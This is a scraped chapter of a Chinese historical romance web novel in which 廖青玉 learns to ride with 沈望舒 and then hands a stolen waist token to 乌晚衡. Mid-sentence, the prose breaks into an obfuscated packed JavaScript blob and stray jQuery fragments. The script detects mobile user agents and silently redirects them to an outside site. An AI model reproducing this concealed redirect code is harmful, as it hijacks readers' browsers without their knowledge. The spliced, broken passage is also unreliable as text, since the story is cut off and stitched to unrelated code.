39. 第39章

作品:《春山又逢青

    回府时的马匹已经备好,廖青玉静静的坐在马车上等着姗姗来迟的两人。


    沈望舒挑着帘子同外面的人说这话,廖青玉时不时侧目看一眼,终于过了许久,她才开口道:“时辰不早了,若是想要赶在天黑之前入城,现在就得走。”


    沈望舒这才放下帘子。


    与来时一样,行至半山腰时,沈景平不知道骑马跑到哪里去撒欢了,跟随着的侍卫也迟迟不见人影。


    廖青玉揉着额头,沈望舒看了一眼:“染了风寒?”


    廖青玉摇摇头没说话。


    沈望舒压着嗓音轻咳了几声:“这夜着实冷,回府后让人给你煮些驱寒的汤。”


    “还是找个大夫来给殿下瞧瞧吧,这春寒刚过,殿下的身体也好了些,现下又是这样,也不知道太后是怎么想的,祈福之事也不过是每年走个过场,何必这次要劳累你去。”廖青玉叹道。


    沈望舒摇摇头,只觉得廖青玉还是太过善感。


    “我无妨,这百年的光景就在一弹指间,况且我也活不过半数,该当快意今朝。”沈望舒笑着说道。


    廖青玉仔细琢磨他说的这句话,皱着眉头正准备开口问一句:“什么活不...”


    “这马车坐的时间久了也有些乏味,你不是想学一学骑马吗?”沈望舒声音不大不小,拉着廖青玉的小臂就要起身。


    侍卫及时牵住了缰绳,回头掀开了车帘。


    廖青玉在沈望舒半推半就下下了马车,青棠跳下马车牵了一匹马过来:“我瞧过了,这马脾气好,骑着安稳。”


    廖青玉看着青棠张了张嘴。


    沈望舒环抱着手臂站在马的旁边,侧头示意廖青玉过来:“快些,我们回去的迟了可就麻烦了。”


    廖青玉踮脚摸了摸马儿的脖子,沈望舒扶着她的腰侧,嘴里细细说着:“一只脚踩在马镫,一只手扶好了。”


    一身石榴裙的人咬咬牙,想着他人的模样,费力的爬了上去,沈望舒怕她掉下来,一只手拉着马绳:“坐好了。”


    垂在马侧飘荡的衣裙带子一晃一晃的擦过沈望舒的脖颈额头,廖青玉弓着身子看过去,面上有些为难,但是强忍着没说话。


    沈望舒抬手捏着那根衣带,心里一清二楚,眼里一动,抬手拍了拍马的身子。


    廖青玉身下的马忽地往前走了几步,她晃着身子连忙拉紧了面前的绳子。


    沈望舒借着光看去,女子头上的珍珠步摇摆动个不停,那张算不上夺目的面庞,失了往日的愁容,多了几分顾盼,他喉咙动了动,连忙低下头将马安抚好。


    廖青玉明白后,低头喊着:“沈望舒,你在干什么!”


    奈何下面的人只是笑着回道:“生气了?”


    廖青玉不想同他多说,避开那张笑意盈盈的脸,垂头看着地面,一只手轻拍着马的脖子,殊不知自己的耳侧脖颈泛着淡淡的粉红。


    马车一行慢悠悠的走在前面,沈望舒稳稳当当的牵着马,廖青玉深呼出好几口气,贪婪的嗅着林子里的气味。


    两人一马就这样晃晃悠悠的走在最后面。


    沈望舒头发高高束起,额间透着温柔,一身挺拔安稳的站在马儿的一侧,如蝶的长睫轻微颤动,落在眼下一片阴影。


    离了纷扰的皇城,在静谧的林子里,不大年岁的两人像是真的自己。


    廖青玉没见过沈望舒真心的笑意,沈望舒也没见过廖青玉真切的害怕,脚下交叠的影子,相互碰撞,不断跳动的心在慢慢贴近。


    石榴裙薄薄的衣带蛊惑着两人,沈望舒只是淡淡的抚开放好。


    廖青玉抬手摘下一片树叶捏在手里:“殿下?”


    “嗯?”沈望舒应道。


    “我们这样怕是落下了?”廖青玉抬手指了指前面。


    沈望舒不在意的停下马,一只脚踩在马镫上二话不说翻身坐在了廖青玉身后,双手环过纤细的腰身,握紧了绳子:“要不要试试?”


    “什么?”蛊惑一般的嗓音就在耳边,廖青玉怔愣了一瞬。


    话音刚落,沈望舒骑着马跑了起来,廖青玉被铺面而来的风激的不能说话,露着后面的脖颈,将脸埋在怀里。


    蓄着指甲的手不动声色的扯着不知是谁的衣服。


    沈望舒感受道那双手,慢慢停了下来,胸口起伏:“别害怕,多试试就会了。”


    廖青玉的后背触碰到明显的起伏,扯着衣服的手松了松,感受到逐渐慢了下来,她才睁开眼睛。


    没过多久,两人就追上了前面的马车。


    沈望舒翻身离开,风席卷过廖青玉的后背,忽地冷冰冰一片。


    她一只脚刚踩在马镫上,腰间便多了一双手,不轻不重的扶着她稳稳地落在地上。


    廖青玉点了点头,用手理了理吹乱的头发:“原也不难。”


    “是不难,只要心里觉得不难,一切都会很简单。”沈望舒再次伸出手。


    廖青玉犹豫过后,还是将手搭在一起,被沈望舒拉进了马车。


    “我今日回了王府就要再试试,等到了春猎那日,猎不到大的,想来也能猎个小的。”廖青玉兴高采烈的说着。


    沈望舒笑着看着她:“好。”


    “我说这有什么难的,以前在乡下时,嬷嬷死活都不愿意我碰邻居家的马,伯父也不肯找师傅来教我,”廖青玉面露遗憾,“若是那时我坚持一些,也不至于现在要人教。”


    沈望舒递给身旁人一把薄扇,不知道是廖青玉那日落在马车里的。


    “原来在这儿,我说那日回王府怎么不见了。”


    沈望舒又给她倒了一杯茶,不介意她过分的激动,静静的听她絮絮叨叨的说着。


    “我入京之前,伯父说京城没什么好的,我不信,现下好了,好不容易出城一回,不足两日便要回去了。”


    “你很喜欢乡下老家?”


    沈望舒问道。


    廖青玉点了点头,顿道:“当然喜欢,若不是...若不是与殿下的婚事,我怎么会入京呢。”


    沈望舒闻言没说话,黑漆漆的眸子看着眼前的人。


    日落西山,夜色像流淌的水一样,不久便侵袭的为数不多的日光,黑夜最终压下来那一抹橙黄明媚的晚霞。


    在最后一刻,守城的侍卫打开了城门,一行人陆陆续续的回了京。


    沈望舒夜里还要去宫里一趟,廖青玉坐在马车上,看着沈望舒骑着马消失在了眼前,一同走的,还有姗姗来迟的四皇子。


    她放下帘子,将青棠唤了进来:“你今夜便去尚书府。”


    “是。”


    廖青玉摸着腰牌上的纹路,最后塞到青棠的衣服里,拍了拍:“收好了。”


    “姑娘,放心。”


    马车刚入城不久,大部分侍卫随同沈望舒去了宫中,剩下一部分则是王府的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431614|162686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她放下帘子的那一刻,在夜色中看见来一个相熟的人。


    乌晚衡早就在这里等着,看见廖青玉散了侍卫后,命家丁驾着马车驶了过去。


    廖青玉站在街边,看见马车上的人她笑了笑:“你怎么来了?”


    乌晚衡一身素衣,不冷不淡说道:“上来吧。”


    廖青玉弯腰抬脚踩上去,面前递来一只手,她犹豫了一会儿自己扶着一侧坐了上去:“多谢。”


    乌晚衡不在意的收回手,理了理袖子:“怎么现在才回来?”


    廖青玉坐在他的对面将手里的东西放到他面前的矮桌上,那张矮桌仅有一本枯卷的书和一盏昏黄的油灯。


    乌晚衡看着那个腰牌:“这是真的?没想到你胆子这么大,你是怎么得手的?”


    “乌大人的胆子也不小啊,这两张腰牌简直相差无二。”


    “哼。”乌晚衡笑了一声,将桌上的东西放到了衣服里。


    “回来的路上遇到一些事。”


    廖青玉回了之前的问题。


    乌晚衡叹了一口气,眼里打量着廖青玉:“我昨日去府上看了看。”


    “廖府。”


    “怎么?”廖青玉望着他。


    “青玉,那个府邸除了前院,后院已经被夷为平地,小时候我们在一起吃饭习字的侧院也都消失的无影无踪。”


    廖青玉听完也只是笑了笑:“这么多年,你未曾去看过?”


    “我不敢。”


    “你不敢?”


    “为什么?”


    廖青玉眼里藏着怒气,憋了许久:“乌大人,你这是为何,既拦着我,也帮着我?你说你不敢,可为什么不敢呢?”


    “青玉,你听我说,老师蒙冤而死,我也于心不忍,可你的行事太过冒进,太过危险,你该仔细想一想,郭尚书怎么办?”乌晚衡停了停,“王府怎么办,与你有所牵扯的人怎么办?”


    “乌晚衡,你这是怎么了?”廖青玉疑惑,几日前他不是这样的。


    “我,我就是觉得你,你不该这么冒险,吴德清的死是你的手笔,凡事行径都会留有痕迹,监门卫的人不傻,那个万大人也不傻,你能确保你真的万无一失吗?”乌晚衡解释道。


    廖青玉抿了抿嘴唇,侧目看向外面的夜色,低着头沉思了好一会儿:“我能这么办?”


    “我还能这么办?为什么你们都是这般无所谓,难道真的是我太过斤斤计较,可那是我的家人,他们没有错。”


    “青玉,我知道,你的家人没有错,可错的到底是谁?”乌晚衡闭了闭眼。


    廖青玉猛吸一口气,侧目盯着那一片夜色,感受着马车不断行进的晃动,眼睛红了红,她仰起头靠在车壁上。


    “我不知道。”


    “青玉,孤月那边昨日送了一位仙道入宫。”


    “仙道?秦槐闻不是慢待了孤月,他们又怎么会送人来?”廖青玉抬手擦了擦落在脸上的泪珠。


    “宫里的人说,陛下自长公主回京后便郁郁寡欢,我猜是为着固河,固河与我朝失了姻亲的关系,听急报的消息,几日前固河的内乱就停了,是最小的那位皇子嗜兄毒父夺了皇位,他们想拉拢孤月,而孤月却在试探我朝的意思,我猜孤月看上了固河的土地,而北有孤月,西有固河,陛下自然该忧心了。”


    “固河与孤月相差无几,都缺少水源,争来争去是为着什么呢?”